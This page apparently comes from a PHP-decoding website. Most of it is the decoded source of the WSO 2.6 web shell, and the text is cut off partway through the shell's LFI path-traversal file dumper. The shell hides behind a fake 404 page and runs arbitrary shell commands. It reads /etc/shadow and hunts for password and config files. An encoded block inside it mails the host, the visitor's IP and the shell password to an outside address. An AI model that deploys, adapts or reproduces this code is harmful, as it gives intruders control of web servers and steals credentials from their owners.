Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgDQovKiBXU08gMi42ICg0MDQgU21hcnQgRXJyb3IgQ29kZWQgQnk..

Decoded Output download

?>b'<?php 
/* WSO 2.6 (404 Smart Error Coded By X-TAMPER) */
$auth_pass = "909516e347a9f1ecdc038412f89704a9"; 
$color = "#00ff00"; 
$default_action = \'FilesMan\'; 
$default_use_ajax = true; 
$default_charset = \'Windows-1251\'; 
  
if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) { 
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); 
    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) { 
        header(\'HTTP/1.0 404 Not Found\'); 
        exit; 
    } 
} 
  
@session_start(); 
@ini_set(\'error_log\',NULL); 
@ini_set(\'log_errors\',0); 
@ini_set(\'max_execution_time\',0); 
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define(\'WSO_VERSION\', \'3.6\'); 
  
if(get_magic_quotes_gpc()) { 
    function WSOstripslashes($array) { 
        return is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array); 
    } 
    $_POST = WSOstripslashes($_POST); 
} 
  
function wsoLogin() { 
    die("<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> 
<hr> 
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address> 
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <pre align=center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></pre>"); 
} 
  
if(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])])) 
    if( empty($auth_pass) || ( isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass) ) ) 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true; 
    else
        wsoLogin(); 
  
if(strtolower(substr(PHP_OS,0,3)) == "win") 
    $os = \'win\'; 
else
    $os = \'nix\'; 
  
$safe_mode = @ini_get(\'safe_mode\'); 
if(!$safe_mode) 
    error_reporting(0); 
  
$disable_functions = @ini_get(\'disable_functions\'); 
$home_cwd = @getcwd(); 
if(isset($_POST[\'c\'])) 
    @chdir($_POST[\'c\']); 
$cwd = @getcwd(); 
if($os == \'win\') { 
    $home_cwd = str_replace("\", "/", $home_cwd); 
    $cwd = str_replace("\", "/", $cwd); 
} 
if( $cwd[strlen($cwd)-1] != \'/\' ) 
    $cwd .= \'/\'; 
      
$wsobuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjYgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgicnp1bHRhbXBlckBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSwkYXV0aF9wYXNzKTsgfQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs=";  
eval(base64_decode($wsobuff)); 
      
if(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'])) 
    $_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$GLOBALS[\'default_use_ajax\']; 
  
if($os == \'win\') 
    $aliases = array( 
        "List Directory" => "dir", 
        "Find index.php in current dir" => "dir /s /w /b index.php", 
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php", 
        "Show active connections" => "netstat -an", 
        "Show running services" => "net start", 
        "User accounts" => "net user", 
        "Show computers" => "net view", 
        "ARP Table" => "arp -a", 
        "IP Configuration" => "ipconfig /all"
    ); 
else
    $aliases = array( 
        "List dir" => "ls -lha", 
        "list file attributes on a Linux second extended file system" => "lsattr -va", 
        "show opened ports" => "netstat -an | grep -i listen", 
        "process status" => "ps aux", 
        "Find" => "", 
        "find all suid files" => "find / -type f -perm -04000 -ls", 
        "find suid files in current dir" => "find . -type f -perm -04000 -ls", 
        "find all sgid files" => "find / -type f -perm -02000 -ls", 
        "find sgid files in current dir" => "find . -type f -perm -02000 -ls", 
        "find config.inc.php files" => "find / -type f -name config.inc.php", 
        "find config* files" => "find / -type f -name \"config*\"", 
        "find config* files in current dir" => "find . -type f -name \"config*\"", 
        "find all writable folders and files" => "find / -perm -2 -ls", 
        "find all writable folders and files in current dir" => "find . -perm -2 -ls", 
        "find all service.pwd files" => "find / -type f -name service.pwd", 
        "find service.pwd files in current dir" => "find . -type f -name service.pwd", 
        "find all .htpasswd files" => "find / -type f -name .htpasswd", 
        "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", 
        "find all .bash_history files" => "find / -type f -name .bash_history", 
        "find .bash_history files in current dir" => "find . -type f -name .bash_history", 
        "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", 
        "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", 
        "Locate" => "", 
        "locate httpd.conf files" => "locate httpd.conf", 
        "locate vhosts.conf files" => "locate vhosts.conf", 
        "locate proftpd.conf files" => "locate proftpd.conf", 
        "locate psybnc.conf files" => "locate psybnc.conf", 
        "locate my.conf files" => "locate my.conf", 
        "locate admin.php files" =>"locate admin.php", 
        "locate cfg.php files" => "locate cfg.php", 
        "locate conf.php files" => "locate conf.php", 
        "locate config.dat files" => "locate config.dat", 
        "locate config.php files" => "locate config.php", 
        "locate config.inc files" => "locate config.inc", 
        "locate config.inc.php" => "locate config.inc.php", 
        "locate config.default.php files" => "locate config.default.php", 
        "locate config* files " => "locate config", 
        "locate .conf files"=>"locate \'.conf\'", 
        "locate .pwd files" => "locate \'.pwd\'", 
        "locate .sql files" => "locate \'.sql\'", 
        "locate .htpasswd files" => "locate \'.htpasswd\'", 
        "locate .bash_history files" => "locate \'.bash_history\'", 
        "locate .mysql_history files" => "locate \'.mysql_history\'", 
        "locate .fetchmailrc files" => "locate \'.fetchmailrc\'", 
        "locate backup files" => "locate backup", 
        "locate dump files" => "locate dump", 
        "locate priv files" => "locate priv"
    ); 
  
function wsoHeader() { 
    if(empty($_POST[\'charset\'])) 
        $_POST[\'charset\'] = $GLOBALS[\'default_charset\']; 
    global $color; 
    echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . WSO_VERSION ."</title> 
<style> 
body {background-color:#000;color:#fff;}  
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }  
span,h1,a{ color: $color !important; }  
span{ font-weight: bolder; }  
h1{ border:1px solid $color;padding: 2px 5px;font: 14pt Verdana;margin:0px; }  
div.content{ padding: 5px;margin-left:5px;}  
a{ text-decoration:none; }  
a:hover{ background:#ff0000; }  
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }  
.bigarea{ width:100%;height:250px; }  
input, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid $color; font: 9pt Monospace,\'Courier New\'; }  
form{ margin:0px; }  
#toolsTbl{ text-align:center; }  
.toolsInp{ width: 80%; }  
.main th{text-align:left;}  
.main tr:hover{background-color:#5e5e5e;}  
.main td, th{vertical-align:middle;}  
pre{font-family:Courier,Monospace;} 
#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}  
</style> 
<script> 
    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\'; 
    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'
    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\'; 
    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\'; 
    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\'; 
    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\'; 
    var d = document; 
    function set(a,c,p1,p2,p3,charset) { 
        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; 
        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; 
        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; 
        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; 
        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; 
        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; 
    } 
    function g(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        d.mf.submit(); 
    } 
    function a(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        var params = \'ajax=true\'; 
        for(i=0;i<d.mf.elements.length;i++) 
            params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value); 
        sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params); 
    } 
    function sr(url, params) { 
        if (window.XMLHttpRequest) 
            req = new XMLHttpRequest(); 
        else if (window.ActiveXObject) 
            req = new ActiveXObject(\'Microsoft.XMLHTTP\'); 
        if (req) { 
            req.onreadystatechange = processReqChange; 
            req.open(\'POST\', url, true); 
            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\'); 
            req.send(params); 
        } 
    } 
    function processReqChange() { 
        if( (req.readyState == 4) ) 
            if(req.status == 200) { 
                var reg = new RegExp(\"(\\d+)([\\S\\s]*)\", \'m\'); 
                var arr=reg.exec(req.responseText); 
                eval(arr[2].substr(0, arr[1])); 
            } else alert(\'Request error!\'); 
    } 
</script> 
<head><body><div style=\'position:absolute;width:100%;background-color:#000;top:0;left:0;\'> 
<form method=post name=mf style=\'display:none;\'> 
<input type=hidden name=a> 
<input type=hidden name=c> 
<input type=hidden name=p1> 
<input type=hidden name=p2> 
  
<input type=hidden name=p3> 
<input type=hidden name=charset> 
</form>"; 
    $freeSpace = @diskfreespace($GLOBALS[\'cwd\']); 
    $totalSpace = @disk_total_space($GLOBALS[\'cwd\']); 
    $totalSpace = $totalSpace?$totalSpace:1; 
    $release = @php_uname(\'r\'); 
    $kernel = @php_uname(\'s\'); 
    if(!function_exists(\'posix_getegid\')) { 
        $user = @get_current_user(); 
        $uid = @getmyuid(); 
        $gid = @getmygid(); 
        $group = "?"; 
    } else { 
        $uid = @posix_getpwuid(posix_geteuid()); 
        $gid = @posix_getgrgid(posix_getegid()); 
        $user = $uid[\'name\']; 
        $uid = $uid[\'uid\']; 
        $group = $gid[\'name\']; 
        $gid = $gid[\'gid\']; 
    } 
  
    $cwd_links = \'\'; 
    $path = explode("/", $GLOBALS[\'cwd\']); 
    $n=count($path); 
    for($i=0; $i<$n-1; $i++) { 
        $cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\""; 
        for($j=0; $j<=$i; $j++) 
            $cwd_links .= $path[$j].\'/\'; 
        $cwd_links .= "\")\'>".$path[$i]."/</a>"; 
    } 
  
    $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\'); 
    $opt_charsets = \'\'; 
    foreach($charsets as $item) 
        $opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\'; 
  
    $m = array(\'Sec Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Exec\'=>\'Console\',\'Sql\'=>\'Sql\',\'PHP Tools\'=>\'phptools\',\'LFI\'=>\'lfiscan\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'XSS Shell\'=>\'XSSShell\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\'); 
    if(!empty($GLOBALS[\'auth_pass\'])) 
        $m[\'Logout\'] = \'Logout\'; 
    $m[\'Self remove\'] = \'SelfRemove\'; 
    $menu = \'\'; 
    foreach($m as $k => $v) 
        $menu .= \'<th width="\'.(int)(100/count($m)).\'%">[<a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a>]</th>\'; 
  
    $drives = ""; 
    if($GLOBALS[\'os\'] == \'win\') { 
        foreach(range(\'c\',\'z\') as $drive) 
        if(is_dir($drive.\':\\')) 
            $drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \'; 
    } 
    echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'
       . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \' </nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#00bb00><b>OFF</b></font>\') 
       . \' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')">[ home ]</a><br>\' . $drives . \'</td>\'
       . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'
       . \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\'; 
} 
  
function wsoFooter() { 
    $is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#25ff00\'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; 
    echo " 
  
</div> 
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'> 
    <tr> 
        <td><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td> 
        <td><form onsubmit=\"g(\'FilesTools\',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td> 
    </tr><tr> 
        <td><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td> 
        <td><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td> 
  
    </tr><tr> 
        <td><form onsubmit=\"g(\'Console\',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td> 
        <td><form method=\'post\' ENCTYPE=\'multipart/form-data\'> 
        <input type=hidden name=a value=\'FilesMAn\'> 
        <input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'> 
        <input type=hidden name=p1 value=\'uploadFile\'> 
        <input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'> 
        <span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br  ></td> 
  
    </tr></table></div></body></html>"; 
} 
  
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { 
    function posix_getpwuid($p) {return false;} } 
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { 
    function posix_getgrgid($p) {return false;} } 
  
function wsoEx($in) { 
    $out = \'\'; 
    if (function_exists(\'exec\')) { 
        @exec($in,$out); 
        $out = @join("
",$out); 
    } elseif (function_exists(\'passthru\')) { 
        ob_start(); 
        @passthru($in); 
        $out = ob_get_clean(); 
    } elseif (function_exists(\'system\')) { 
        ob_start(); 
        @system($in); 
        $out = ob_get_clean(); 
    } elseif (function_exists(\'shell_exec\')) { 
        $out = shell_exec($in); 
    } elseif (is_resource($f = @popen($in,"r"))) { 
        $out = ""; 
        while(!@feof($f)) 
            $out .= fread($f,1024); 
        pclose($f); 
    } 
    return $out; 
} 
function wsoViewSize($s) { 
    if($s >= 1073741824) 
        return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\'; 
    elseif($s >= 1048576) 
        return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\'; 
    elseif($s >= 1024) 
        return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\'; 
    else
        return $s . \' B\'; 
} 
  
function wsoPerms($p) { 
    if (($p & 0xC000) == 0xC000)$i = \'s\'; 
    elseif (($p & 0xA000) == 0xA000)$i = \'l\'; 
    elseif (($p & 0x8000) == 0x8000)$i = \'-\'; 
    elseif (($p & 0x6000) == 0x6000)$i = \'b\'; 
    elseif (($p & 0x4000) == 0x4000)$i = \'d\'; 
    elseif (($p & 0x2000) == 0x2000)$i = \'c\'; 
    elseif (($p & 0x1000) == 0x1000)$i = \'p\'; 
    else $i = \'u\'; 
    $i .= (($p & 0x0100) ? \'r\' : \'-\'); 
    $i .= (($p & 0x0080) ? \'w\' : \'-\'); 
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\')); 
    $i .= (($p & 0x0020) ? \'r\' : \'-\'); 
    $i .= (($p & 0x0010) ? \'w\' : \'-\'); 
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\')); 
    $i .= (($p & 0x0004) ? \'r\' : \'-\'); 
    $i .= (($p & 0x0002) ? \'w\' : \'-\'); 
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\')); 
    return $i; 
} 
  
function wsoPermsColor($f) { 
    if (!@is_readable($f)) 
        return \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\'; 
    elseif (!@is_writable($f)) 
        return \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\'; 
    else
        return \'<font color=#00BB00>\' . wsoPerms(@fileperms($f)) . \'</font>\'; 
} 
  
if(!function_exists("scandir")) { 
    function scandir($dir) { 
        $dh  = opendir($dir); 
        while (false !== ($filename = readdir($dh))) 
            $files[] = $filename; 
        return $files; 
    } 
} 
  
function wsoWhich($p) { 
    $path = wsoEx(\'which \' . $p); 
    if(!empty($path)) 
        return $path; 
    return false; 
} 
  
function actionSecInfo() { 
    wsoHeader(); 
    echo \'<h1>Server security information</h1><div class=content>\'; 
    function wsoSecParam($n, $v) { 
        $v = trim($v); 
        if($v) { 
            echo \'<span>\' . $n . \': </span>\'; 
            if(strpos($v, "
") === false) 
                echo $v . \'<br>\'; 
            else
                echo \'<pre class=ml1>\' . $v . \'</pre>\'; 
        } 
    } 
  
    wsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\')); 
    if(function_exists(\'apache_get_modules\')) 
        wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules())); 
    wsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\'); 
    wsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\')); 
    wsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\')); 
    wsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\')); 
    wsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\'); 
    $temp=array(); 
    if(function_exists(\'mysql_get_client_info\')) 
        $temp[] = "MySql (".mysql_get_client_info().")"; 
    if(function_exists(\'mssql_connect\')) 
        $temp[] = "MSSQL"; 
    if(function_exists(\'pg_connect\')) 
        $temp[] = "PostgreSQL"; 
    if(function_exists(\'oci_connect\')) 
        $temp[] = "Oracle"; 
    wsoSecParam(\'Supported databases\', implode(\', \', $temp)); 
    echo \'<br>\'; 
  
    if($GLOBALS[\'os\'] == \'nix\') { 
        wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\'); 
        wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\'); 
        wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\')); 
        wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\')); 
        if(!$GLOBALS[\'safe_mode\']) { 
            $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\'); 
            $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\'); 
            $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\'); 
            echo \'<br>\'; 
            $temp=array(); 
            foreach ($userful as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam(\'Userful\', implode(\', \',$temp)); 
            $temp=array(); 
            foreach ($danger as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam(\'Danger\', implode(\', \',$temp)); 
            $temp=array(); 
            foreach ($downloaders as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam(\'Downloaders\', implode(\', \',$temp)); 
            echo \'<br/>\'; 
            wsoSecParam(\'HDD space\', wsoEx(\'df -h\')); 
            wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\')); 
        } 
    } else { 
        wsoSecParam(\'OS Version\',wsoEx(\'ver\')); 
        wsoSecParam(\'Account Settings\',wsoEx(\'net accounts\')); 
        wsoSecParam(\'User Accounts\',wsoEx(\'net user\')); 
    } 
    echo \'</div>\'; 
    wsoFooter(); 
} 
function actionlfiscan() { 
    wsoHeader(); 
    print \' 
   <h3>Led-Zeppelin\'s LFI File dumper</h3> 
  
   <form method="post" action="?"><input type="hidden" name="a" value="lfiscan"> 
      LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype"> 
         <option value="1"> 
            Access Log 
         </option> 
  
         <option value="2"> 
            httpd.conf 
         </option> 
  
         <option value="3"> 
            Error Log 
         </option> 
         <option value="4"> 
            php.ini 
         </option> 
         <option value="5"> 
            MySQL 
         </option> 
         <option value="6"> 
            FTP 
         </option> 
         <option value="7"> 
            Environ 
         </option> 
      </select> Null: <select name="null"> 
         <option value="%00"> 
            Yes 
         </option> 
  
         <option value=""> 
            No 
         </option> 
      </select> User-Agent: <input type="text" size="20" name="custom_header" value=""> 
   </form>\'; 
   error_reporting(0); 
      if($_POST[\'lfiurl\']) { 
         print "<pre>"; 
         $cheader = $_POST[\'custom_header\']; 
         $target = $_POST[\'lfiurl\']; 
         $type = $_POST[\'scantype\']; 
         $byte1 = $_POST[\'null\']; 
         $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1.""; 
         $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1.""; 
         $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1.""; 
         $lfiaccess = array( 
            1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."", 
            2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."", 
            3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."", 
            4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."", 
            5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."", 
            6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."", 
            7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."", 
            8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."", 
            9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."", 
            10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."", 
            11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."", 
            12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."", 
            13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."", 
            14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."", 
            15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."", 
            16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."", 
            17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."", 
            18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."", 
            19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."", 
            20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."", 
            21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."", 
            22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."", 
            23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1.""); 
         
         $lfierror = array( 
            1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."", 
            2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."", 
            3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."", 
            4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."", 
            5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."", 
            6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."", 
            7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."", 
            8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."", 
            9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."", 
            10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."", 
            11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."", 
            12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."", 
            13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."", 
            14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."", 
            15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."", 
            16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."", 
            17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."", 
            18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."", 
            19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."", 
            20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."", 
            21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."", 
            22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."", 
            23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1.""); 
  
         $lficonfig = array( 
            1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."", 
            2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."", 
            3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."", 
            4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."", 
